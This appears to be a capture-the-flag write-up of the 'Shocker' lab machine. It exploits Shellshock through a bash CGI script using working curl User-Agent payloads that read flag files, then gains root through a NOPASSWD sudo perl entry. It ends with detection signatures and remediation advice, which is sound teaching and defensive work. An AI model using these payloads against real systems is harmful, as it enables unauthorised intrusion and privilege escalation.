Overview
Shocker is a Shellshock box. The name, the page title (“Don’t Bug Me!”), and
the bug.jpg image dated September 2014 (the month CVE-2014-6271 was
disclosed) all converge on the same vulnerability. A bash CGI script at
/cgi-bin/user.sh runs under Apache 2.4.18, making it a textbook Shellshock
target.
The exploitation is straightforward in theory but has a practical wrinkle:
stdout pollution. Injected commands that write to stdout before Apache expects
CGI headers produce HTTP 500 errors. The solution is command substitution
inside a printf that generates a valid CGI response. This CGI-specific
constraint is rarely discussed in Shellshock tutorials but is essential
knowledge for real-world exploitation.
After obtaining a shell as shelly, sudo -l reveals a NOPASSWD entry for
/usr/bin/perl, which is a direct root escalation via GTFOBins.
Reconnaissance
I start with a service-version scan:
nmap -sC -sV -oA scans/shocker 10.129.15.18
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 80 | HTTP | Apache httpd 2.4.18 (Ubuntu) | “Don’t Bug Me!” page |
| 2222 | SSH | OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 | Non-standard SSH port |
Port 80 serves a static page with a single JPEG image. The image metadata shows a September 2014 creation date. Shellshock was publicly disclosed on 24 September 2014. Three independent hints (box name, page title, image date) point to the same CVE.
Attack Surface Analysis
CGI directory discovery
Apache returns 403 Forbidden for /cgi-bin/, confirming the directory exists.
I fuzz for scripts:
feroxbuster -u http://10.129.15.18/cgi-bin/ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-x sh,pl,cgi,py
200 GET /cgi-bin/user.sh
Fetching user.sh returns plain text output from the uptime command:
Content-Type: text/plain
12:34:01 up 1:23, 0 users, load average: 0.00, 0.00, 0.00
A bash script running uptime under Apache CGI. This is the exact attack
surface for Shellshock.
| Attribute | Value |
|---|---|
| CVE | CVE-2014-6271 |
| CVSS v3 | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-78 (OS Command Injection) |
| Root cause | Bash processes trailing commands after function definitions in environment variables |
| Affected | Bash versions before 4.3 patch 25 |
| Fixed in | Bash 4.3 patch 25 |
| MITRE ATT&CK | T1190 (Exploit Public-Facing Application) |
Vulnerability Analysis
Bash versions before 4.3 patch 25 have a flaw in how they process environment
variables. When bash starts, it imports environment variables. If a variable’s
value begins with () {, bash interprets it as a function definition. The
bug: bash continues executing any commands that follow the function body’s
closing brace.
In CGI environments, Apache maps HTTP headers to environment variables. The
User-Agent header becomes HTTP_USER_AGENT. A crafted header of the form
() { :;}; <command> causes bash to execute <command> during variable
import, before the CGI script itself runs.
The CGI-specific complication is stdout pollution. The CGI protocol requires
the script to output HTTP headers (Content-Type: text/plain\r\n\r\n) before
any body content. If the injected command writes to stdout before these
headers, Apache returns HTTP 500. Commands that produce no output (like
true) return 200, confirming code execution.
The solution: use printf to generate a complete valid CGI response, with
command substitution $(cmd) to embed execution results in the response body.
The substitution executes before printf processes its arguments, so the
command runs and its output is captured cleanly.
Exploitation
Confirming Shellshock
A silent command confirms execution without triggering the stdout issue:
curl -s -o /dev/null -w "%{http_code}" \
-H 'User-Agent: () { :;}; /bin/true' \
http://10.129.15.18/cgi-bin/user.sh
# 200
RCE via command substitution
The PATH is stripped in the Shellshock execution context. Every command needs
either an absolute path or an explicit PATH= prefix:
curl -s -H 'User-Agent: () { :;}; printf "Content-Type: text/plain\r\n\r\n$(PATH=/usr/bin:/bin id)\r\n"' \
http://10.129.15.18/cgi-bin/user.sh
uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
The CGI process runs as shelly (uid=1000), not www-data. This gives
direct access to the user’s home directory.
User flag
curl -s -H 'User-Agent: () { :;}; printf "Content-Type: text/plain\r\n\r\n$(PATH=/usr/bin:/bin cat /home/shelly/user.txt)\r\n"' \
http://10.129.15.18/cgi-bin/user.sh
# [redacted]
Privilege escalation via sudo perl
Enumerating sudo privileges through the Shellshock channel:
curl -s -H 'User-Agent: () { :;}; printf "Content-Type: text/plain\r\n\r\n$(PATH=/usr/bin:/bin sudo -l)\r\n"' \
http://10.129.15.18/cgi-bin/user.sh
User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl
Perl with NOPASSWD sudo is unrestricted root access. GTFOBins documents this directly:
curl -s -H 'User-Agent: () { :;}; printf "Content-Type: text/plain\r\n\r\n$(PATH=/usr/bin:/bin sudo perl -e '"'"'print \`cat /root/root.txt\`'"'"')\r\n"' \
http://10.129.15.18/cgi-bin/user.sh
# [redacted]
For an interactive root shell (via SSH as shelly):
sudo perl -e 'exec "/bin/bash"'
Post-Exploitation
uname -a
# Linux Shocker 4.4.0-96-generic #119-Ubuntu SMP x86_64 GNU/Linux
cat /etc/lsb-release
# DISTRIB_DESCRIPTION="Ubuntu 16.04.3 LTS"
All outbound ports except 80 and 2222 are firewalled. Reverse shells on arbitrary listener ports fail silently. This egress filtering was the only defensive control that worked on this box, and it forced the use of in-band exfiltration rather than a callback shell.
Defensive Analysis
Detection opportunities
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial access | T1190 | WAF or IDS signature for () { pattern in HTTP headers |
| Execution | T1059.004 | Process monitoring: bash spawned by Apache with environment injection |
| Privilege esc. | T1548.003 | Sudo audit logs: shelly running /usr/bin/perl as root |
Network-level: Shellshock payloads are trivially detectable by IDS rules
matching () { in HTTP request headers. Snort SID 31975-31978 cover the
major variants. Any modern WAF (ModSecurity, Cloudflare, AWS WAF) blocks
Shellshock by default.
Host-level: The CGI process spawning arbitrary commands produces an anomalous process tree. Apache -> bash -> (injected command) is not a normal execution pattern. Process monitoring tools would flag this.
Sudo auditing: Every sudo invocation is logged to /var/log/auth.log.
A non-root user running /usr/bin/perl as root should trigger an alert in
any environment with centralised log analysis.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Upgrade bash to 4.3 patch 25 or later | Low | Critical |
| P0 | Remove NOPASSWD sudo entry for /usr/bin/perl | Low | Critical |
| P1 | Remove or restrict /cgi-bin/user.sh | Low | High |
| P1 | Replace bash CGI scripts with a minimal POSIX shell | Low | High |
| P2 | Deploy a WAF with Shellshock signatures | Medium | Medium |
| P2 | Maintain egress filtering (already in place) | Low | Medium |
| P3 | Audit all sudo NOPASSWD entries for interpreters | Low | Medium |
The sudo entry is the more dangerous finding from a defensive perspective. Shellshock requires a specific, patchable vulnerability. But a NOPASSWD sudo entry for any interpreter (perl, python, ruby, lua, node, php) is equivalent to unrestricted root access, and it persists regardless of patch level. Sudo audits should flag any interpreter in a NOPASSWD entry as a critical finding.
Key Takeaways
-
Thematic clues compound. Box name (Shocker), page title (Don’t Bug Me!), and image date (September 2014) all pointed to the same CVE. When multiple independent hints converge, treat it as high-confidence signal.
-
stdout pollution is a CGI-specific constraint. Commands that write to stdout before CGI headers are emitted produce HTTP 500. The solution is
printfwith$()substitution: the command executes inside the substitution, and its output is embedded in a valid HTTP response. This technique applies to any CGI-based command injection, not just Shellshock. -
PATH is stripped in Shellshock context. The inherited environment does not include
/usr/binor/binin PATH. Every command needs either an absolute path or an explicitPATH=prefix. -
When all outbound ports are filtered, use in-band exfiltration. Two approaches: write output to a web-accessible path, or embed it in the HTTP response via command substitution. The substitution approach is cleaner and leaves no filesystem artefacts.